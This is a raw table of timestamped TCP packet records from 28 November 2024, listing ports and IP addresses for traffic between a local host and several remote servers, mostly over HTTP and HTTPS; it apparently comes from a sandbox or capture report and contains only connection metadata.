Nov 28, 2024 15:17:41.714740992 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.715928078 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.716008902 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.716514111 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.716574907 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.727504969 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.727535009 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.727581978 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.727591038 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.727658033 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.747512102 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.756441116 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.756475925 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.770848036 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.770874023 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.770953894 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.770962954 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.770993948 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.771013975 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.789494038 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.789547920 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.789593935 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.789618015 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.789649963 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.789669037 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.806282043 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.806307077 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.806375027 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.806386948 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.806438923 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.806627035 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.819008112 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.819015980 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.825820923 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.825862885 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.825892925 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.825902939 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.825932026 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.825947046 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.845284939 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.845312119 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.845362902 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.845381021 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.845402956 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.845418930 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.863411903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.863461971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.863491058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.863513947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.863864899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.863935947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.864213943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.864274025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.865026951 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.865039110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.865143061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.865207911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.865329981 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.865863085 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.865885019 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.865926027 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.865937948 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.865957022 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.865967035 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.866086960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.866131067 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.866255045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.866321087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.867301941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.867326021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.867351055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.867362976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.867854118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.867916107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.868103027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.868242979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.868371010 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.868422031 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.868710041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.868769884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.869534969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.869597912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.869641066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.869740009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.870162010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.870240927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.870564938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.870579958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.870646000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.871371031 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.871423960 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.871514082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.871532917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.871558905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.871586084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.872446060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.872462034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.872518063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.873348951 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.873411894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.873528957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.873581886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.874546051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.874561071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.874614000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.874629974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.874742985 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.874753952 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.875166893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.875185013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.875212908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.875232935 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.876066923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.876107931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.876230001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.876324892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.877130985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.877182961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.877695084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.877780914 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.877897978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.877908945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.877968073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.878043890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.878820896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.878837109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.878865004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.878876925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.879764080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.879776955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.879812956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.880875111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.880887985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.880918026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.880942106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.881583929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.881702900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.882458925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.882471085 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.882519007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.882522106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.882561922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.883349895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.883395910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.883434057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.883619070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.884272099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.884320974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.884685040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.884728909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.884871006 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.884880066 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.885353088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.885365963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.885412931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.886125088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.886137009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.886172056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.887034893 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.887054920 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.887103081 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.887118101 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.887129068 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.887172937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.887186050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.887212992 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.887238979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.887238979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.888238907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.888253927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.888288975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.888302088 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.888920069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.888938904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.888963938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.889000893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.889852047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.889864922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.889898062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.889910936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.890757084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.890779018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.890809059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.890837908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.891634941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.891684055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.891685963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.891726017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.891942024 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.891949892 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.892559052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.892610073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.892781019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.892855883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.893728971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.893744946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.893769026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.893781900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.894413948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.894553900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.894565105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.894606113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.895338058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.895373106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.895629883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.895683050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.896181107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.896229982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.896236897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.896271944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.897140026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.897150993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.897207022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.898051977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.898134947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.898205996 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.898212910 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.898448944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.898493052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.898960114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.899036884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.899324894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.899374008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.899852037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.899888039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.900070906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.900152922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.900796890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.900808096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.900851011 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.901813030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.901823997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.901854038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.901880980 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.902570963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.902616978 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.902709007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.902851105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.903537035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.903547049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.903583050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.904514074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.904526949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.904572964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.904584885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.905358076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.905405045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.905576944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.905746937 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.906362057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.906373978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.906415939 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.906429052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.907196045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.907237053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.907345057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.907447100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.908113003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.908154011 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.908186913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.908225060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.909025908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.909037113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.909060001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.909089088 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.909951925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.909992933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.910043955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.910856962 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.910902977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.911300898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.911354065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.923333883 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.923413992 CET	49850	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.949888945 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:41.949929953 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:41.950057030 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:41.950675011 CET	49862	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:41.950690985 CET	443	49862	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:41.971884012 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.971905947 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.971973896 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.972003937 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.972018003 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.972045898 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.979582071 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.979598999 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.979640007 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.979648113 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.979690075 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.987646103 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.987663031 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.987704992 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.987713099 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.987754107 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.994261980 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.994281054 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.994349957 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.994359016 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.994399071 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.002160072 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.002176046 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.002238989 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.002254963 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.002305984 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.009129047 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.009145975 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.009181976 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.009187937 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.009236097 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.014117956 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:42.016027927 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.016052008 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.016092062 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.016098022 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.016145945 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.023169994 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.023189068 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.023230076 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.023246050 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:42.023273945 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.023288965 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:42.065498114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.065551043 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.065579891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.065579891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.065826893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.065876961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.065879107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.065916061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.066674948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.066687107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.066719055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.066736937 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.067627907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.067670107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.067684889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.067739010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.068722963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.068733931 CET	80	49804	185.215.113.206	192.168.2.6
